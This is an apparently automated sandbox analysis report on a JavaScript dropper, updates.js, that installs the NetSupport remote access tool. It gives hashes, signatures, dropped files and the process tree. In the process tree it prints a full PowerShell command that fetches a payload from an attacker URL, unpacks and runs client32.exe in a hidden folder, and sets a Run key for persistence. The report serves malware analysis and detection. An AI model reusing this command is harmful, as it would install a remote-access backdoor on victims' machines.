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Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 03:17

General

  • Target

    updates.js

  • Size

    7.3MB

  • MD5

    cbb64c3f4095d8fc567c2e3fc1295a67

  • SHA1

    a114622094d9563593cd3e571ffb2d7f67edd8c9

  • SHA256

    db302ab8343193ac2826bd9de5b168af740c6e6e6779149daec44efc0ac01b95

  • SHA512

    eda9bf2299253b5026a38f43bb5e5eaf1169332e9a3afb699928c059713952f2604c442476f31e5f98a8f67073948e0e0697591ade88c2999ff0b0c3d0e35fd9

  • SSDEEP

    49152:e7h4zjCxb7qHlp4XONN0G7h20kQmwYzYMm7u+8wgJ3wr/xN1GIWx3qpWROg2cE08:7

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://lilygovert91.top/data.php?10425

exe.dropper

http://lilygovert91.top/data.php?10425

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $VLMBEFDHFEB='http://lilygovert91.top/data.php?10425';$GRGOAC=(New-Object System.Net.WebClient).DownloadString($VLMBEFDHFEB);$YPUNIGTS=[System.Convert]::FromBase64String($GRGOAC);$asd = Get-Random -Minimum -10 -Maximum 37; $ARHZXFUYD=[System.Environment]::GetFolderPath('ApplicationData')+'\ZVMSLKLAUN'+$asd;if (!(Test-Path $ARHZXFUYD -PathType Container)) { New-Item -Path $ARHZXFUYD -ItemType Directory };$p=Join-Path $ARHZXFUYD 'wah.zip';[System.IO.File]::WriteAllBytes($p,$YPUNIGTS);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$ARHZXFUYD)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $ARHZXFUYD 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $ARHZXFUYD -Force; $fd.attributes='Hidden';$s=$ARHZXFUYD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='SZDFRX';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:800
      • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\client32.exe
        "C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1836
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1876 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4368

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwh1ixij.e43.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\HTCTL32.DLL

      Filesize

      320KB

      MD5

      c94005d2dcd2a54e40510344e0bb9435

      SHA1

      55b4a1620c5d0113811242c20bd9870a1e31d542

      SHA256

      3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

      SHA512

      2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\NSM.LIC

      Filesize

      258B

      MD5

      1b41e64c60ca9dfadeb063cd822ab089

      SHA1

      abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

      SHA256

      f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

      SHA512

      c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\PCICHEK.DLL

      Filesize

      18KB

      MD5

      104b30fef04433a2d2fd1d5f99f179fe

      SHA1

      ecb08e224a2f2772d1e53675bedc4b2c50485a41

      SHA256

      956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

      SHA512

      5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\PCICL32.dll

      Filesize

      3.6MB

      MD5

      d3d39180e85700f72aaae25e40c125ff

      SHA1

      f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

      SHA256

      38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

      SHA512

      471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\client32.exe

      Filesize

      101KB

      MD5

      c4f1b50e3111d29774f7525039ff7086

      SHA1

      57539c95cba0986ec8df0fcdea433e7c71b724c6

      SHA256

      18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

      SHA512

      005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\client32.ini

      Filesize

      671B

      MD5

      8f5ada97c32cf8802640350080a35f95

      SHA1

      248af4eb242fe0bc91db157666c66124b14f5def

      SHA256

      5106da0bdacd10e4c0f8c10afdba89ce72b8678b5549e7ce4f224b69267e774d

      SHA512

      5db3c4581ca9b237acaa49381abe6b95e25e5b91f42dfe7a1ae29a1a2d78ec887581fa08138fda96e45e4aa8f5711b3e40d659eebdfa5892ab66bacd1b16433a

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\msvcr100.dll

      Filesize

      755KB

      MD5

      0e37fbfa79d349d672456923ec5fbbe3

      SHA1

      4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

      SHA256

      8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

      SHA512

      2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

    • C:\Users\Admin\AppData\Roaming\ZVMSLKLAUN19\pcicapi.dll

      Filesize

      32KB

      MD5

      34dfb87e4200d852d1fb45dc48f93cfc

      SHA1

      35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

      SHA256

      2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

      SHA512

      f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

    • memory/800-117-0x00007FFE5FD40000-0x00007FFE60801000-memory.dmp

      Filesize

      10.8MB

    • memory/800-15-0x0000020433010000-0x000002043301A000-memory.dmp

      Filesize

      40KB

    • memory/800-16-0x0000020435540000-0x0000020435552000-memory.dmp

      Filesize

      72KB

    • memory/800-0-0x00007FFE5FD43000-0x00007FFE5FD45000-memory.dmp

      Filesize

      8KB

    • memory/800-13-0x00007FFE5FD40000-0x00007FFE60801000-memory.dmp

      Filesize

      10.8MB

    • memory/800-12-0x00007FFE5FD40000-0x00007FFE60801000-memory.dmp

      Filesize

      10.8MB

    • memory/800-11-0x00007FFE5FD40000-0x00007FFE60801000-memory.dmp

      Filesize

      10.8MB

    • memory/800-6-0x0000020432FA0000-0x0000020432FC2000-memory.dmp

      Filesize

      136KB